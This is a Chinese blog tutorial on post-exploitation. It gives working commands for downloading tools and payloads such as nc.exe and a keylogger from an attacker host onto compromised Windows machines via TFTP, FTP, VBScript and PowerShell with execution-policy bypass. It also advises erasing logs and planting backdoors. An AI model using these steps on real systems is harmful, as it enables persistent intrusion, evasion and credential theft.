<返回更多

关于后漏洞利用阶段的介绍

2022-03-29    会测试的鲸鱼
加入收藏

先来解释一下什么是后漏洞利用阶段。就是经过一系列简单或者复杂的操作后,你已经获取了目标机器当前的管理员权限,但是你这个管理员权限不一定一直会有效,说不定目标机器的主人明天就更新补丁,就把现有的一些缓冲区溢出的漏洞封死了。

所以我们要在还能拥有权限的这段时间,给自己开一个长久有效的后门。

后漏洞利用阶段:操作步骤

一般在后漏洞利用阶段,我们主要做这些操作:

  1. 上传工具
  2. 提权
  3. 擦除攻击痕迹
  4. 安装后门:4.1 长期控制、4.2 dump密码、4.3 内网渗透

上传工具很容易理解,目标机器毕竟不是我们自己的,有我们所有需要的工具,目标机器现有的工具也不一定能满足你的需要,所以要根据实际情况,往目标机器里传入一些用于实现后续目的的工具。

提权是因为你进入目标机器,不一定是以管理员的身份进入,也许只是以普通用户的身份进入,这时候就需要想其他办法提升当前账号的权限,或者给自己弄一个管理员账号。不然后续的很多操作可能都会受到限制。

擦除攻击痕迹是比较重要的一个步骤,不管是操作系统的日志,还是应用程序的日志,都需要清理干净。我们前期的扫描、攻击动作,都会在目标系统留下相应的记录,就拿前面对SLmail的攻击作为例子,在目标机器的日志中会有对应的记录:

关于后漏洞利用阶段的介绍

攻击机在目标机器留下的记录

最后安装后门,就是我们的最终目的。

后漏洞利用阶段:难点

后漏洞利用阶段最大的挑战是防病毒软件。防病毒软件都有很丰富的特征库,只要匹配上特征库,就会被当成病毒或者漏洞进行处理。而前面的操作,很多都会被防病毒软件识别出来并修改。

为了防止被防病毒软件的特征库匹配上,我们在选用传给目标机器的软件时,尽量选用合法的远程控制软件。比如目标机器是linux系统的话,curl和wget一般是所有Linux系统都会预装的工具,通过这两个工具很容易就能完成其他工具或者木马的下载安装,或者安装一.NETcat,也就能完成很多骚操作。而windows系统的dos界面的预装下载工具,其实是比较少接触和使用的,很多人都习惯了Windows图形化界面的工具。

后漏洞利用阶段:Windows的目标机器

像前面利用SLmail缓冲区溢出获取的远程控制,也就是shell,是一种非交互模式shell,类似nc的远程控制shell,

非交互模式shell和交互模式shell比较明显的不同有以下几点:

  1. 不能通过tab键进行命令补全,非交互模式shell必须手敲完整命令;
  2. 在非交互模式shell里面执行一个子命令,比如输入Python/ target=_blank class=infotextkey>Python,无法进入对应的控制台。
关于后漏洞利用阶段的介绍

非交互模式shell无法进入子命令

所以我们要尽量实现交互模式的远程控制。只是获得了非交互式模式的远程控制,对于我们后续的操作还是有一些限制的。所以接下来我们主要介绍一些将工具传给目标主机的方法。

往Windows传文件:TFTP

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一个传输文件的简单协议,绝大多数情况下基于UDP协议而实现,也不排除有部分TFTP协议是基于其它传输协议完成的。用来在客户机与服务器之间进行简单文件传输,提供不复杂、开销不大的文件传输服务。端口号为69。

TFTP没有身份校验的功能,所以没有成为主流的传输工具。现在主流的windows10是需要单独添加TFTP服务的,不能直接使用。以前的windowsXp是默认预装的,不过现在应该很少有人用xp了。而且现在的边界防火墙一般都会将tftp的数据包过滤掉,所以TFTP使用场景其实还是有些局限性的。

如何在windows10安装TFTP就不在这里展开了,网上有比较详细的教程帖子。这里主要演示将kali作为服务器,在windows环境下载服务器上的文件。

先要在作为服务器的机器上创建一个根目录,这个目录用于存放各种远程控制软件:

关于后漏洞利用阶段的介绍

mkdir /tftp

修改tftp文件夹的拥有者,让谁都可以访问:

关于后漏洞利用阶段的介绍

chown -R nobody /tftp/

找一些kali里默认存放着的一些控制工具到tftp文件夹:

关于后漏洞利用阶段的介绍

cp /usr/share/windows-binaries/nc.exe /tftp


/usr/share/windows-binaries/目录下,存放了一些为windows机器准备的一些安装程序。

启动tftp的服务:

关于后漏洞利用阶段的介绍

atftpd --daemon --port 69 /tftp

参数--daemon表示在后台运行,后面的--port就是指定端口。

可以通过检查端口来判断tftp的服务是否启动:

关于后漏洞利用阶段的介绍

netstat -pantu | grep 69

需要注意的一点是,如果你的检查结果显示(最右边那项)进程不是atftpd,可能是你的权限还有问题,没有将tftp文件夹和里面的所有文件的拥有者改成nobody。

当然就算检查结果显示进程是atftpd,如果tftp文件夹里的文件不是nobody,后面其他机器想要下载也会有问题。所以只要有文件放入tftp文件夹,就执行一下上面修改文件拥有者的命令:

关于后漏洞利用阶段的介绍

修改文件的权限

然后就可以在Windows机器去下载kali里的文件了:

关于后漏洞利用阶段的介绍

tftp -i 192.168.0.102 get nc.exe

这里介绍两个kali里为Windows机器准备的三个程序。第一个是nc.exe,它的功能和netcat类似;第二个是whoami.exe,可以检查当前使用账户的权限;第三个是klogger.exe,一旦运行,就会记录所有键盘的敲击,对于盗取账户密码应该是很挺有用的。

往Windows传文件:FTP

kali默认是没有预装ftp工具的,所以需要自己选择一个ftp工具进行安装。ftp的工具有很多,比如vsftpd、pure-ftpd等等,这里使用的是vsftpd。

安装比较简单,直接一个命令就可以:

关于后漏洞利用阶段的介绍

apt-get install vsftpd

如果下载不成功的话,可以到/etc/apt/sources.list文件里修改一下源地址。

vsftpd常用的命令如下:

# 启动服务
service vsftpd start
# 查看服务
service vsftpd status
# 停止服务
service vsftpd stop
# 重新启动服务
service vsftpd restart

可以先启动一下,看看能不能顺利启动:

关于后漏洞利用阶段的介绍

检查vsftpd安装是否正确

接下来先要创建一个用于上传下载的目录,要给创建的这个目录修改一下权限,因为实际使用中会创建、修改文件,我这边图简便就直接777了:

关于后漏洞利用阶段的介绍

创建上传/下载的目录

然后需要新建用户并设置密码:

关于后漏洞利用阶段的介绍

新建用户

如果不明白useradd各个参数的使用,可以通过-h看一下使用说明。这里-d表示设置新用户的home目录,-s表示新用户的登录方式。

修改配置文件vsftpd.conf:

关于后漏洞利用阶段的介绍

控制用户登录

还有将vsftpd.conf文件里的这个注释取消:

关于后漏洞利用阶段的介绍

取消注释

取消这个注释是为了能够写入文件。

前面配置的时候是用/root/allowed_users文件来控制登录,那就要到对应位置创建文件:

关于后漏洞利用阶段的介绍

设置登录用户

在配置了登录用户后,你可能会发现这些用户还是无法登录,那你就可以到黑名单文件看一下,你的用户是否在黑名单上面:

关于后漏洞利用阶段的介绍

cat /etc/ftpusers

完成上述配置后重启一下vsftpd的服务,让配置生效:

关于后漏洞利用阶段的介绍

重启vsftpd服务

这个时候已经可以正常使用ftp了,先在本地试一下:

关于后漏洞利用阶段的介绍

本地使用ftp

换到windows环境下访问ftp:

关于后漏洞利用阶段的介绍

ftp://ftpuser:ftpuser@192.168.0.102

别用浏览器直接输入命令,大概率会出现问题,到“我的电脑”地址栏输入命令,或者也可以使用ftp工具(Windows自带ftp工具)。

这里可能有些同学会想到我们最开始获取的都是非交互模式shell,无法正常完成账户名、密码的验证,也没有图形化界面可以使用。

其实可以换个思路,将所有目标机器上要执行的ftp命令,都写到目标机器的文本文件里,最后使用Windows上的ftp命令调用前面写的文本文件:

关于后漏洞利用阶段的介绍

在目标机器制作ftp.txt文件

让ftp读取文本中的相关指令:

关于后漏洞利用阶段的介绍

执行ftp.txt

可以查看一下是否获取到文件:

关于后漏洞利用阶段的介绍

查看获取到的文件

往Windows传文件:vbscript

vbscript能实现的功能很多,这里就演示一个让目标主机通过http访问我预先准备好的地址,将事先准备好的软件下载到目标主机。

因为要通过http访问,所以要启动一个服务,这里使用kali中自带的Apache服务:

关于后漏洞利用阶段的介绍

service apache2 start

apache服务的默认目录在:/var/www/html,将要传给目标主机的软件移动或者复制到这个目录:

关于后漏洞利用阶段的介绍

将软件存入预定位置

生成vbscript的脚本的命令如下:

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strUrl, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray, lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

最后生成的vbscript脚本是这样的:

关于后漏洞利用阶段的介绍

vbscript脚本

执行的时候需要使用cscript工具:

关于后漏洞利用阶段的介绍

cscript wget.vbs http://192.168.0.102/whoami.exe whoami.exe

查看软件是否被下载:

关于后漏洞利用阶段的介绍

检查下载的软件

往Windows传文件:powershell

vbscript相对以前,其实不是很被推崇了,现在比较新的Windows系统,都是推荐使用powershell,所以这里也介绍一种powershell传输软件的方式。

脚本比较简单:

$storngeDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = 'http://192.168.0.102/whoami.exe'
$file = 'D:w.exe'
$webclient.DownloadFile($url, $file)

在已经开启http服务的情况下,在Windows环境通过命令执行上面这个脚本:

关于后漏洞利用阶段的介绍

powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

如果执行的时候遇到“远程服务器返回错误: (403) 已禁止。”,那应该是源文件的权限有问题,用chmod命令去修改一下权限就可以了。

执行命令中的一些参数-ExecutionPolicy主要是为了允许本地执行powershell脚本,感兴趣的可以通过-Help看一下帮助说明。

上面的脚本其实可以省略,直接在dos界面执行一个长命令:

powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.0.102/whoami.exe', 'D:w.exe')

也能达到同样的效果:

关于后漏洞利用阶段的介绍

下载软件

如果本地的执行策略比较严格,还是需要加上前面的那些参数。

还有powershell能使用的模块很多,不一定要用System.Net.WebClient,还有Invoke-WebRequest、Invoke-RestMethod、Start-BitTransfer都能达到同样的效果。具体使用哪一个模块,主要看你控制的机器具体版本,一般都是有什么用什么。

往Windows传文件:debug

Debug工具是windows用来做汇编等的一个工具。在新一点的Windows10已经没有了,早一些的WindowsXp还是有的。如果你的目标机器是Windows10的系统,且现有条件让你必须使用debug,那你必须给目标机器安装一个debug工具,这就变成先有鸡还是先有蛋的问题了。不是很推荐debug这种方式传输软件。

先将要传递的软件进行压缩:

关于后漏洞利用阶段的介绍

upx -9 whoami.exe

压缩不是必须的,只是当文件太大的时候,debug就无法转换成功,debug最大只能是64Kb。

用工具exe2bat.exe转换一下:

关于后漏洞利用阶段的介绍

wine /usr/share/windows-binaries/exe2bat.exe whoami.exe whoami.txt

由于这个工具是Windows环境的,所以要通过wine工具来运行。可以看到输出的文档:

关于后漏洞利用阶段的介绍

cat whoami.txt

在已经获取的非交互模式shell中,直接执行输出txt文档里面的内容,除最后两行外。

执行完之后,在被控制的目标机器上就会有一个123.hex文件:

关于后漏洞利用阶段的介绍

目标机器生成123.hex

然后执行倒数第二行命令debug<123.hex,Windows就会进行一个汇编的工程,最终输出一个1.DLL文件,这个文件其实就是原来的exe文件。最后就是执行最后一行命令copy 1.dll whoami.exe,将文件还原成exe的可执行文件。

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>